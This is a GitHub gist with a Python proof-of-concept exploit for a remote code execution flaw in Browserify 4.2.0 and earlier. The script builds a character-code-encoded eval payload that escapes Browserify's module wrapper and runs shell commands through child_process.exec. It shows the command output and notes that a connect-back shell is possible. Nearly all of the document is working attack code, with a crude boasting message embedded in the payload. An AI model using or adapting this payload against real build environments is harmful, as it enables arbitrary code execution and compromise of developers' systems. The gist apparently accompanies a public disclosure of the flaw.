Last active
August 29, 2015 14:04
-
-
Save foxx/4a6c38038bd23b6c3b6c to your computer and use it in GitHub Desktop.
Browserify RCE Vulnerability (<= 4.2.0)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Browserify POC exploit | |
http://iops.io/blog/browserify-rce-vulnerability/ | |
To run, just do: | |
$ python poc.py > exploit.js | |
$ browserify exploit.js | |
BIATCH I TOLD YOU THIS SHIT IS FABULOUS | |
[[garbage output]] | |
},{}]},{},[1]) 00:08:32 up 12:29, 3 users, load average: 0.00, 0.02, 0.05 | |
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse) | |
You can also spawn() and create a connect back shell. | |
Enjoy | |
""" | |
def charencode(string): | |
encoded='' | |
for char in string: | |
encoded=encoded+","+str(ord(char)) | |
return encoded[1:] | |
plaintext = """ | |
var require = this.process.mainModule.require; | |
var sys = require('sys') | |
var exec = require('child_process').exec; | |
function puts(error, stdout, stderr) { sys.puts(stdout) } | |
exec("uptime && id", puts); | |
console.log("BIATCH I TOLD YOU THIS SHIT IS FABULOUS"); | |
""" | |
payload = charencode(plaintext) | |
final = "eval(String.fromCharCode(%s));" %(payload) | |
print "});" | |
print final | |
print "(function(){" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment